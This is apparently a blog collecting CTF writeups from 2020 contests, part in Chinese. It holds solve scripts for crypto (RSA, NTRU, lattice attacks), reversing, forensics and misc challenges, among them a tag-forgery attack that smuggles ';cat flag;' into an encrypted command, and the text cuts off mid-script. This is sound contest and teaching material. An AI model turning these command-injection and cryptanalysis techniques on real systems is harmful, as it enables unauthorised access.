				setkey(((i*2 + FIB[(FIBOFFSET + i*2)]) % kl),k1)
				setkey(((i*2+1 + FIB[(FIBOFFSET + i*2+1)]) % kl),k2)
print(bytes(key))
```

## Verifier
Just use option 1 to sign `please_give_me_the_flag`.

## rsa_yay
In this task, we need to factorize `n`, while `hex(p)=hex(q)[::-1]`.

Suppose we know lowest k bits of p, we can find lowest k bits of q. Here we can also find highest k bits of p and q. Let them be $$ph$$ and $$qh$$. We know that $$ph\cdot qh\cdot 2^{1024-2k}\le n<(ph+1)\cdot(qh+1)\cdot 2^{1024-2k}$$, thus we may check whether $$ph$$ and $$qh$$ are (possibly) correct.

```python
from gmpy2 import *
import binascii

n=0x7ef80c5df74e6fecf7031e1f00fbbb74c16dfebe9f6ecd29091d51cac41e30465777f5e3f1f291ea82256a72276db682b539e463a6d9111cf6e2f61e50a9280ca506a0803d2a911914a385ac6079b7c6ec58d6c19248c894e67faddf96a8b88b365f16e7cc4bc6e2b4389fa7555706ab4119199ec20e9928f75393c5dc386c65
cipher=0x3ea5b2827eaabaec8e6e1d62c6bb3338f537e36d5fd94e5258577e3a729e071aa745195c9c3e88cb8b46d29614cb83414ac7bf59574e55c280276ba1645fdcabb7839cdac4d352c5d2637d3a46b5ee3c0dec7d0402404aa13525719292f65a451452328ccbd8a0b3412ab738191c1f3118206b36692b980abe092486edc38488

def reverse_hex(x,n):
	y=0
	for i in range(n):
		y=y*16+x%16
		x//=16
	return y

cur=[]

# Find all cases for lowest 12 bits
for i in range(1,4096,2): # i is lowest 12 bits of p
	t=invert(i,4096)*(n%4096)%4096 # t is lowest 12 bits of q
	assert t*i%4096==n%4096
	t2=reverse_hex(t,3) # t2 is highest 12 bits of q
	i2=reverse_hex(i,3) # i2 is highest 12 bits of p
	l=i2*t2<<(4*125*2)
	r=(i2+1)*(t2+1)<<(4*125*2)
	if l<=n<=r: # check where n is in the range
		cur.append(i)

# Current digit (in hex)
for c in range(4,65):
	nc=[]
	mod=16**c
	for x in cur:
		for y in range(16):
			i=x+y*16**(c-1) # i is lowest 4c bits of p
			t=invert(i,mod)*(n%mod)%mod # t is lowest 4c bits of q
			assert t*i%mod==n%mod
			t2=reverse_hex(t,c) # t2 is highest 4c bits of q
			i2=reverse_hex(i,c) # i2 is highest 4c bits of p
			l=i2*t2<<(4*(128-c)*2)
			r=(i2+1)*(t2+1)<<(4*(128-c)*2)
			if l<=n<=r: # check where n is in the range
				nc.append(i)
	cur=nc

# Find real solution
c=64
mod=16**c
for i in cur:
	t=invert(i,mod)*(n%mod)%mod
	assert t*i%mod==n%mod
	t2=reverse_hex(t,c)
	i2=reverse_hex(i,c)
	p=t2<<256|i
	q=i2<<256|t
	if p*q==n:
		break

e=65537
d=invert(e,(p-1)*(q-1))
o=pow(cipher,d,p*q)
print(binascii.unhexlify(hex(o)[2:]))
```

# guessing
## indian guess
The server guesses my number by binary search. Input `nan` and then it fails.

# misc
## sanity
Just enter irc.

## Snake++
Consider the following strategy: 
```
v<<<<<
v>v>v^
v^v^v^
v^v^v^
>^>^>^
```

Walk on the circle, and shoot if `B` exists. To check if `B` exists, we may just enumerate all locations, and check if `B` is there.

The follwing python code generates required snake++ code.

```python
def getsol(x1,y1,x2,y2,a,b):
	return ' '

r=''

r+='red:=100;\n'
for x in range(1,29):
	for y in range(1,19):
		r+='banana ~<8=== %d %d;\nif banana=="B" then\n\tred:=%d;\n\tgreen:=%d;\nfi;\n'%(x,y,x,y)

def addroute(x,y,v):
	global r
	x+=1;y+=1
	r+='if blue==%d then\n\tif yellow==%d then\n\t\treturn "%s";\n\tfi;\nfi;\n'%(x,y,v)

addroute(1,0,'L')
addroute(27,1,'L')
for i in range(0,28,2):
	addroute(i,16,'L')
	addroute(i,17,'L')
for i in range(1,27,2):
	addroute(i,1,'R')
	addroute(i,2,'R')

r+='''
if red<100 then
	return " ";
fi;
'''

r+='return "";\n'
r+='.\n'
open('test.txt','w').write(r)
```

The following one interacts with the server.

```python
from pwn import *
from base64 import b64decode

context.log_level = 'debug'

r=remote('snakeplusplus-01.play.midnightsunctf.se',55555)

r.recvuntil('Your choice: ')
r.send('2\n')
r.recvuntil('--- Press enter to continue ---')
r.send('\n')
r.recvuntil('--- Press enter to continue ---')
r.send('\n')
r.recvuntil('Enter your program code, and end with a . on a line by itself')

r.send(open('test.txt').read().strip()+'\n')

r.recvuntil('--- Press enter to start ---')
r.send('\n')
r.recvuntil('Result: ')
open('t.zip','wb').write(b64decode(r.recvuntil('\n').strip()))

```

Codegate CTF 2020 Preliminary Writeup

March 1, 2020

# Misc
## Verifier
一个用 ply.yacc 实现的语法分析器，要写一段代码 print 一个小于 0 的数。但是他会先进行预处理，并求出每个变量可能的最小值和最大值，当 print 的输入的最小可能值小于 0 时会退出。
在预处理 while 时，他只会尝试运行 3 次，那么一个在第 4 次或之后才被修改的值就不会被预处理考虑到。
```
T=10;A=1;B=1;[T>1{T=T+-1;A==5?{B=-1}:{A=A};A==-1?{A=5}:{A=A};A==0?{A=-1}:{A=A};A==4?{A=0}:{A=A};A==3?{A=4}:{A=A};A==2?{A=3}:{A=A};A==1?{A=2}:{A=A};!T}];!B
```

# Crypto
## halffeed
程序每轮会把一个 tag 和明文异或得到密文，然后 `tag=cipher[:8]+plain[8:]` ，然后用 key 对 tag 加密，同时 key 本身也会被加密（相当于一个固定的 key 生成器）。
需要得到一个包含 `;cat flag;` 的字符串，但是不能直接对包含 `cat flag` 的字符串加密。
Tag 可以直接由明密文异或得到，考虑 `randchar`\*8 + `;cat fla` 和 `randchar`\*16+`g;`+.....，他们处理后的tag有概率前两位相同（生日攻击），这样就可以拼出一个完整的 cat flag。
```python
from pwn import *
import random

def getconn():
	#return process(['python3','prob.py'])
	return remote('110.10.147.44',7777)

def encrypt(s):
	if type(s) is str:
		s=s.encode()
	print(s.hex())
	r=getconn()
	r.send('1\n')
	r.send(s.hex()+'\n')
	r.recvuntil('ciphertext = ')
	cipher=bytes.fromhex(r.recv(len(s.hex())).decode())
	r.recvuntil('tag = ')
	tag=bytes.fromhex(r.recv(32).decode())
	r.send('4\n')
	r.close()
	return cipher,tag

def getflag(nonce,cipher,tag):
	r=getconn()
	r.send('3\n')
	r.send(nonce.hex()+'\n')
	r.send(cipher.hex()+'\n')
	r.send(tag.hex()+'\n')
	r.interactive()

def xor(a,b):
	return bytes(b1 ^ b2 for b1, b2 in zip(a,b))

def getrnd(n):
	return bytes([random.randint(0,255)for i in range(n)])

#print(encrypt(b'\0'*128))

a=b'\0'*8+b';cat fla'
b=b'\0;'+b'\0'*14
br=b'g;'+b'\0'*14

mapa={}
mapb={}
res=None

#mapa[b'\x99(']=b'\xa3\xab\xcd\xa6W\xbaT\xc8;cat fla'
#mapb[b'\x99(']=b'\x93\xf0\x0f\xd9m\xb7\xa1gy\x07\nX\nY\xed\xe3'
#res=b'\x99('

while 1:
	at=getrnd(8)+a[8:]

ci,ta=encrypt(at+b)
	ac=ci[:16]
	bc=ci[16:]

tb=xor(b,bc)
	bc2=xor(br,tb)
	nt=bc2[:8]+b[8:]
	#print(nt[:2])
	mapa[nt[:2]]=at

ut=getrnd(16)
	ci,ta=encrypt(ut+b'\0'*32)
	xc=ci[:16]
	yc=ci[16:32]
	zc=ci[32:]
	#print(yc[:2])
	mapb[yc[:2]]=ut

for i in mapa:
		if i in mapb:
			res=i
	if res is not None:
		break
#print(res,mapa[res],mapb[res])

at=mapa[res]

ci,ta=encrypt(at+b)
#print('A',(at+b).hex())
ac=ci[:16]
bc=ci[16:]

tb=xor(b,bc)
bc2=xor(br,tb)
nt=bc2[:8]+b[8:]

ut=mapb[res]
ci,ta=encrypt(ut+b'\0'*32)
xc=ci[:16]
yc=ci[16:32]
nt2=yc[:8]+b'\0'*8
#print(nt2.hex())
zc=ci[32:]
#print(yc[:2])
#print(ci,ta)

#print(xor(yc,nt))
#print(xor(nt2,nt))

#print((xor(nt2,tb)[:8]+nt2[8:]).hex())

#src= at+xor(nt2,tb)[:8]+nt2[8:]+b'\0'*16

getflag(b'\0'*16,ac+xor(xor(nt2,tb)[:8]+nt2[8:],tb)+zc,ta)
```

## MUNCH
需要分解 1024 位的 n。其中 p 给出了 从 0,146,292,438 bit 开始的 111bit。

给出的方法是，另外钦定一个质数 mod，然后给出若干对 k_i\*px%mod 的高几十位。这些 k_i 基本都是随机的。

考虑 LLL 算法可以求出若干个向量的较小的线性组合，可以构造下面这些向量：

```
(每个 k_i*px 的有效值) + (若干 0)
(每个 k_i) + 一个奇怪的常数 C + (若干 0)
接下来若干行，每行是
(前若干个里，第 i 行的第 i 个位置是 mod) + 0 + (后若干个里，第 i 行的第 i 个位置是 1)
```

这样的话，一种可能较小的线性组合就是第一个向量加上若干个后面的向量再减若干个第二个向量。这时那个奇怪的常数就是求出的 px 了。至于这个常数应该取多少，以及这为啥能奏效，我就不知道了（试出来的结果是 1<<100 能求出解

```python
s=open('output').readlines()
n,seed=map(int,s[4].strip().split(' '))
t=[]
for i in range(200):
    t.append(int(s[7+i]))
seeds=[]
for i in range(200):
    seeds.append(seed)
    seed=seed**2%n

for i in t:
    assert (i<<460)<n

u=list(range(2,200,4))

M=[]
c=len(u)
V=100
M.append([t[i]<<460 for i in u]+[0]*(c+1))
M.append([seeds[i] for i in u]+[1<<V]+[0]*c)
for i in range(c):
    M.append([n if i==j else 0 for j in range(c)]+[0]+[1 if i==j else 0 for j in range(c)])
M=Matrix(M)
print(M[0][c])
M2=M.LLL()
print(M2[0][c])
for i in range(5):
    if not M2[i][c]: continue
    assert M2[i][c]%(1<<V)==0
    print(i,M2[i][0],M2[i][c]//(1<<V))
```

剩下的可以参考 [这个](https://link.springer.com/chapter/10.1007/978-3-540-89255-7_25) 和 
[这个](https://gist.github.com/jhs7jhs/0c26e83bb37866f5c7c6b8918a854333)。

## Polynomials
NTRUEncrypt，给了私钥里 -1 0 1 的个数。

不过实际上并没有用到，直接参考下面论文里的 LLL 做法就能解出。

https://sci-hub.tw/https://link.springer.com/chapter/10.1007%2F978-3-540-74143-5_9#

```python
import random
n=60
p=3
q=1499

h=[314, 1325, 1386, 176, 369, 1029, 877, 1255, 111, 1226, 117, 0, 210, 761, 938, 273, 525, 751, 1085, 372, 1333, 898, 780, 44, 649, 1463, 326, 354, 116, 1080, 1065, 1109, 358, 275, 1209, 964, 101, 950, 415, 1492, 1197, 921, 1000, 1028, 1400, 43, 1003, 914, 447, 360, 1171, 1109, 223, 1134, 1157, 1383, 784, 189, 870, 565]
c=(20,20,20)

ks={}
while True:
	rnds=[random.randint(1,10)for i in range(n*2)]
	#rnds=[8]*n+[1]*n

M=Matrix(n*2,n*2)
	for i in range(n):
		M[i,i]=q*rnds[i]
	for i in range(n):
		for j in range(n):
			M[i+n,j]=h[(j-i)%n]*rnds[j]
	for i in range(n):
		M[i+n,i+n]=1*rnds[i+n]
	M2=M.LLL()
	#print(M2[0])
	#print(M2[1])
	#ts=[]

rcnt=0

for i in range(n*2):
		tl=list(M2[i])[:n]
		tr=list(M2[i])[n:]
		for j in range(n):
			tl[j]=tl[j]//rnds[j]%q
			tr[j]=tr[j]//rnds[j+n]%q
		if tr[0]==q-2:
			tr[0]-=1
		elif tr[0]==2:
			tr[0]+=1
		cntl=0
		for j in tl:
			if j%q==3 or j%q==0 or j%q==q-3:
				cntl+=1
		cntr=0
		for j in tr:
			if j%q==3 or j%q==0 or j%q==q-3:
				cntr+=1
		if cntl==n and cntr==n and sum(tl):
			print(tl,tr)
			exit()
		if cntl>=n-1 or cntr>=n-1:
			if str(tr) not in ks:
				print(cntl,cntr,tr)
				ks[str(tr)]=1
			rcnt+=1
	print(rcnt,len(ks))
```

# Reverse
## SimpleMachine
一个虚拟机，把和 flag 有关的跳转钦定为不跳转，然后丢进 z3，就好了。（太懒了不想手解）

```python
def get2b(a,b):
	return a[b]+(a[b+1]<<8)

def set2b(a,b,c):
	a[b]=c&255
	a[b+1]=c>>8&255

get_2b=get2b

def read_bytes(a,b,c):
	#print('read:',b,c)
	global str_pos
	for i in range(c):
		#print(str_pos)
		if str_pos==len(str_to_read):
			a[b+i]=255
		else:
			a[b+i]=str_to_read[str_pos]
			str_pos+=1

def write_bytes(a,b,c):
	global str_res
	for i in range(c):
		str_res+=chr(a[b+i])

def step1():
	#print('step1')
	v1=stat[58]
	if v1==2:
		set2b(mem,get2b(stat,60),get2b(stat,62))
	else:
		assert v1==0
		v2=get2b(stat,60)
		if v2!=65535:
			set2b(stat,2*v2+28,get2b(stat,62))

def step2():
	global cons
	op=stat[48]
	#print('step2',op)
	if op==0:
		set2b(stat,62,get2b(stat,52))
	elif op==1:
		set2b(stat,62,get2b(stat,52)+get2b(stat,54))
	elif op==2:
		set2b(stat,62,get2b(stat,52)*get2b(stat,54))
	elif op==3:
		set2b(stat,62,get2b(stat,52)^get2b(stat,54))
	elif op==4:
		#print('#',get2b(stat,52),get2b(stat,54))
		#set2b(stat,62,get2b(stat,52)<get2b(stat,54))
		#print(get2b(stat,52),get2b(stat,54))
		rt=get2b(stat,52)<get2b(stat,54)
		if type(rt) is bool:
			set2b(stat,62,rt)
		else:
			set2b(stat,62,0)
		#assert get2b(stat,52)==0
		if get2b(stat,52)==0: cons.append(get2b(stat,54)==0)
	elif op==5:
		#cons.append(get2b(stat,52)==0)
		if get2b(stat,52):
			stat[46]=0
			stat[56]=0
			stat[64]=0
			set2b(stat,34,get2b(stat,54))
			return
		pass
	elif op==6:
		read_bytes(mem,get2b(stat,52),get2b(stat,54))
	elif op==7:
		write_bytes(mem,get2b(stat,52),get2b(stat,54))
	elif op==8:
		stat[46]=0
		stat[56]=0
		stat[64]=0
		for i in range(4):
			stat[24+i]=0
		return
	stat[64]=1
	stat[58]=stat[49]
	set2b(stat,60,get2b(stat,50))

def step3():
	#print('step3')
	v1=stat[64]
	v2=stat[38]
	v3=stat[39]
	do_label15=True
	if v1 and stat[58]==v2 and get2b(stat,60)==get2b(stat,42):
		set2b(stat,52,get2b(stat,62))
		#goto label 15
	elif v2==2:
		set2b(stat,52,get_2b(mem,get2b(stat,42)))
		v2=stat[58]
	else:
		if v2==1:
			set2b(stat,52,get2b(stat,42))
			if v1==0:
				do_label15=False
				#goto label 8
			v2=stat[58]
			#goto label 15
		else:
			if v2: assert False
			set2b(stat,52,get2b(stat,2*get2b(stat,42)+28))
			v2=stat[58]
	if do_label15 and v3==v2 and get2b(stat,60)==get2b(stat,44):
		set2b(stat,54,get2b(stat,62))
		#goto label 12
	elif v3==2:
		set2b(stat,54,get_2b(mem,get2b(stat,44)))
	elif v3==1:
		set2b(stat,54,get2b(stat,44))
	elif v3:
		assert False
	stat[56]=1
	stat[48]=stat[36]
	stat[49]=stat[37]
	set2b(stat,50,get2b(stat,40))

def step4():
	global res_pos,res_naive
	#print('step4')
	a=get2b(stat,34)
	#if a==416:
	#	res_naive=True
	#if not res_naive:
	#	res_pos=a
	#print(a)
	v1=get2b(mem,a)
	#print(v1,hex(v1))
	stat[36]=v1&0x7f
	stat[37]=v1>>7&7
	stat[38]=v1>>10&7
	stat[39]=v1>>13&7
	for i in range(6):
		stat[40+i]=mem[a+2+i]
	stat[46]=1
	set2b(stat,34,a+8)
	#print(stat[34:46])
	pass

from z3 import *

mem=[]
stat=[]

mem=[0]*0x10000
t=open('target','rb').read()
for i in range(len(t)):
	mem[i]=t[i]
stat=[0]*72
stat[24]=1

#str_to_read=[0]*36
str_to_read=[]
cons=[]
for i in range(36):
	t=BitVec('s'+str(i), 16)
	cons.append((t&255)==t)
	str_to_read.append(t)
str_pos=0
str_res=''

res_pos=0
res_naive=False

while stat[24]:
	if stat[64]:
		step1()
	if stat[56]:
		step2()
	if stat[46]:
		step3()
	step4()
print(str_res)
#solve(cons)
so=Solver()
so.add(cons)
print(so.check())
m=so.model()
res=''
for i in range(36):
	res+=chr(m.evaluate(str_to_read[i]).as_long())
print(res)
```

## malicious
一个病毒（？）程序，会获取一个网址的信息解密一段代码。虽然这个网址无法访问，但是他把这个信息求了 md5，反解得到 activate。代入运行，解密的代码会向硬盘直接写入一个 dos 扇区。

这个 dos 扇区又混淆了一次代码，但是我还没逆到那，比赛就结束了，后来看别的 wp 知道是我的世纪 < 0x30 所以看不到 flag。

HackTM CTF Quals 2020 Writeup

February 6, 2020

由于寒假比较闲，所以找点比赛打。由于需要上交 wp，所以是英文的。

# Crypto

## RSA is easy #1

Since $$N$$ is known, we can compute the encrypted value of each printable character. Then match them with the given encrypted flag, we can decrypt it.

```python
e=65537
n=...

s=[...(encrypted flag)]

from gmpy2 import *

f={}
for j in range(32,127):
	f[j**e%n]=j
r=''
for i in s:
	r+=chr(f[i])
print r
```

## RSA is easy #2

We doesn't know $$N$$, but we know that $$c=n^e\ mod\ N$$. So $$N$$ is a factor of $$n^e-c$$. Then for two $$c$$, we can check all $$n$$, and calculate their $$gcd$$. Then just follow #1.

```python
from gmpy2 import *

s=open('c').read()
s1='Encrypted flag:'
s=s[s.find(s1)+len(s1):]
s=eval(s.strip())
a=s[0]
b=s[1]
for i in range(97,97+26):
	for j in range(97,97+26):
		t=gcd(i**65537-a,j**65537-b)
		if t>100:
			print '|',t
	print i
```

## Prison Break

Maintain the difference of every two adjacent numbers.

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

int s[10000007];

int main()
{
	freopen("Given_File.txt","r",stdin);
	fo0(i,9999999)
	{
		int a,b,c;
		in,a,b,c;
		assert(a>=1&&a<=1000000000);
		assert(b>=1&&b<=1000000000);
		assert(c>=0&&c<=9);
		assert(a<=b);
		(s[a]+=c)%=10;
		(s[b]+=10-c)%=10;
	}
	int r=1;
	fo1(i,10000000)
	{
		(s[i]+=s[i-1])%=10;
		(s[i]+=10)%=10;
		if(s[i])r=(ll)r*s[i]%999999937;
	}
	out,r,'\n';
}
```

## Bad keys

$$\phi(n)$$ is a factor of $$ed-1$$. So we can find $$phi(n)$$.

Since $$pq=n,pq-p-q+1=\phi(n)$$, we can find $$p$$ and $$q$$.

The $$p$$ in the keys are very similar, just like adjacent primes, so we can check some $$p$$ and factorize $$n$$.

```python
n=...
p=12117717634661447128647943483912040772241097914126380240028878917605920543320951000813217299678214801720664141663955381289172887935222185768875580129863163
print(p)
while n%p:
	p-=1
print(p)
```

## Count on me

Consider the given key is a number under some strange base.

Guess each digits is divided in two parts, and they form a 20 base.

After guessing some ways to read the number, finally I found the flag.

（key.txt)

```
N >N *NNN>N/N>/*//NNN// >> >>.>*./N>.NN/N>N  . /N >N>/>/>N/
WN  V*\\NVW\WVN* NVNN WN\ \  . *.NN . N NWW\\.W\ W\\ NW N\W
```

```python
from Crypto.Cipher import AES

c='059fd04bca4152a5938262220f822ed6997f9b4d9334db02ea1223c231d4c73bfbac61e7f4bf1c48001dca2fe3a75c975b0284486398c019259f4fee7dda8fec'.decode('hex')
iv = '42042042042042042042042042042042'.decode('hex')

def chk(key):
	aes = AES.new(key,AES.MODE_CBC, iv)
	r=aes.decrypt(c)
	for i in r:
		if ord(i)<32 or ord(i)>126:
			return False
	print(r)
	return True

def chkn(x):
	r=''
	for i in range(32):
		r+=chr(x&255)
		x>>=8
	assert x==0
	r=r[::-1]
	return chk(r)

a,b=open('key.txt').readlines()[:2]
a=a.strip()
b=b.strip()
va={'>':2, '/':1, 'N':3, ' ':0, '.':0}
vb={'N':3, 'W':4, ' ':0, '\\':1, '.':0, 'V':2}
unk=[]
tot=0
for i in range(59):
	p=58-i
	po=20**i
	if a[p]=='*':
		assert b[p]=='*'
		unk.append((po,i))
	else:
		tot+=(va[a[p]]*5+vb[b[p]])*po

def dfs(x,cur):
	if x==len(unk):
		return chkn(cur)
	for i in range(20):
		dfs(x+1,cur+unk[x][0]*i)

dfs(0,tot)
```

# Forensics

## RR

It seems to be raid5. After some observation, I found the way to decrypt it.

(decrypt script, 2.img is the $$xor$$ of 1.img and 3.img)

```cpp
#include<bits/stdc++.h>

typedef unsigned int uint;
typedef long long ll;
typedef unsigned long long ull;
typedef double lf;
typedef long double llf;
typedef std::pair<int,int> pii;

#define xx first
#define yy second

template<typename T> inline T max(T a,T b){return a>b?a:b;}
template<typename T> inline T min(T a,T b){return a<b?a:b;}
template<typename T> inline T abs(T a){return a>0?a:-a;}
template<typename T> inline bool repr(T &a,T b){return a<b?a=b,1:0;}
template<typename T> inline bool repl(T &a,T b){return a>b?a=b,1:0;}
template<typename T> inline T gcd(T a,T b){T t;if(a<b){while(a){t=a;a=b%a;b=t;}return b;}else{while(b){t=b;b=a%b;a=t;}return a;}}
template<typename T> inline T sqr(T x){return x*x;}
#define mp(a,b) std::make_pair(a,b)
#define pb push_back
#define I __attribute__((always_inline))inline
#define mset(a,b) memset(a,b,sizeof(a))
#define mcpy(a,b) memcpy(a,b,sizeof(a))

#define fo0(i,n) for(int i=0,i##end=n;i<i##end;i++)
#define fo1(i,n) for(int i=1,i##end=n;i<=i##end;i++)
#define fo(i,a,b) for(int i=a,i##end=b;i<=i##end;i++)
#define fd0(i,n) for(int i=(n)-1;~i;i--)
#define fd1(i,n) for(int i=n;i;i--)
#define fd(i,a,b) for(int i=a,i##end=b;i>=i##end;i--)
#define foe(i,x)for(__typeof((x).end())i=(x).begin();i!=(x).end();++i)
#define fre(i,x)for(__typeof((x).rend())i=(x).rbegin();i!=(x).rend();++i)

struct Cg{I char operator()(){return getchar();}};
struct Cp{I void operator()(char x){putchar(x);}};
#define OP operator
#define RT return *this;
#define UC unsigned char
#define RX x=0;UC t=P();while((t<'0'||t>'9')&&t!='-')t=P();bool f=0;\
if(t=='-')t=P(),f=1;x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define RL if(t=='.'){lf u=0.1;for(t=P();t>='0'&&t<='9';t=P(),u*=0.1)x+=u*(t-'0');}if(f)x=-x
#define RU x=0;UC t=P();while(t<'0'||t>'9')t=P();x=t-'0';for(t=P();t>='0'&&t<='9';t=P())x=x*10+t-'0'
#define TR *this,x;return x;
I bool IS(char x){return x==10||x==13||x==' ';}template<typename T>struct Fr{T P;I Fr&OP,(int&x)
{RX;if(f)x=-x;RT}I OP int(){int x;TR}I Fr&OP,(ll &x){RX;if(f)x=-x;RT}I OP ll(){ll x;TR}I Fr&OP,(char&x)
{for(x=P();IS(x);x=P());RT}I OP char(){char x;TR}I Fr&OP,(char*x){char t=P();for(;IS(t);t=P());if(~t){for(;!IS
(t)&&~t;t=P())*x++=t;}*x++=0;RT}I Fr&OP,(lf&x){RX;RL;RT}I OP lf(){lf x;TR}I Fr&OP,(llf&x){RX;RL;RT}I OP llf()
{llf x;TR}I Fr&OP,(uint&x){RU;RT}I OP uint(){uint x;TR}I Fr&OP,(ull&x){RU;RT}I OP ull(){ull x;TR}};Fr<Cg>in;
#define WI(S) if(x){if(x<0)P('-'),x=-x;UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
#define WL if(y){lf t=0.5;for(int i=y;i--;)t*=0.1;if(x>=0)x+=t;else x-=t,P('-');*this,(ll)(abs(x));P('.');if(x<0)\
x=-x;while(y--){x*=10;x-=floor(x*0.1)*10;P(((int)x)%10+'0');}}else if(x>=0)*this,(ll)(x+0.5);else *this,(ll)(x-0.5);
#define WU(S) if(x){UC s[S],c=0;while(x)s[c++]=x%10+'0',x/=10;while(c--)P(s[c]);}else P('0')
template<typename T>struct Fw{T P;I Fw&OP,(int x){WI(10);RT}I Fw&OP()(int x){WI(10);RT}I Fw&OP,(uint x){WU(10);RT}
I Fw&OP()(uint x){WU(10);RT}I Fw&OP,(ll x){WI(19);RT}I Fw&OP()(ll x){WI(19);RT}I Fw&OP,(ull x){WU(20);RT}I Fw&OP()
(ull x){WU(20);RT}I Fw&OP,(char x){P(x);RT}I Fw&OP()(char x){P(x);RT}I Fw&OP,(const char*x){while(*x)P(*x++);RT}
I Fw&OP()(const char*x){while(*x)P(*x++);RT}I Fw&OP()(lf x,int y){WL;RT}I Fw&OP()(llf x,int y){WL;RT}};Fw<Cp>out;

int main()
{
	FILE*fa=fopen("1.img","rb"),*fb=fopen("2.img","rb"),*fc=fopen("3.img","rb"),*fr=fopen("res.img","wb");
	const int N=8192*65536,A=8192,B=N/A;
	fo0(i,A)
	{
		unsigned char f[B];
		if(i%3==0)
		{
			fread(f,1,B,fb);
			fread(f,1,B,fc);
			fwrite(f,1,B,fr);
			fread(f,1,B,fa);
			fwrite(f,1,B,fr);
		}
		else if(i%3==1)
		{
			fread(f,1,B,fa);
			fread(f,1,B,fb);
			fwrite(f,1,B,fr);
			fread(f,1,B,fc);
			fwrite(f,1,B,fr);
		}
		else
		{
			fread(f,1,B,fc);
			fread(f,1,B,fa);
			fwrite(f,1,B,fr);
			fread(f,1,B,fb);
			fwrite(f,1,B,fr);
		}
	}
}
```

However, this result image seems to be broken (maybe because of header).

I ran `binwalk` on this image, and it found a jpg file. That's the flag.

# Misc

## Romanian Gibberish

Remove `p` and the letter after it.

## The dragon sleeps at night

Work, buy level 1 sword, sleep -5 days, then go to the dragon.

## CHIP 8 /1

`F X 29` can load protected address into `I`.

`D X Y N` can read protected memory and show them.

```
6015
F029
D11F
```

## CHIP 8 /2

The last 512 bytes is executable, just jump there and check "Last instruction".

## Shifty

First, we can find some way to rotate $$(x_0,y_0),(x_0,y_1),(x_1,y_0)$$. (Just consider $$(0,0)\to(0,1)\to (1,0)$$)

It requires $$2n$$ ($$n$$ is board size) operations.

For a level, we can solve it by such rotation.

For first three levels, it's enough. But for level 4, we need to find out what's the real operation. This is not difficult to be done.

For level 5, we can only guess, and then run this until it succeeds.

```python
from pwn import *
from copy import deepcopy
import random

r=remote('138.68.67.161',60006)

rs=[]
chrs={}
cnts={}

def work_level(id):
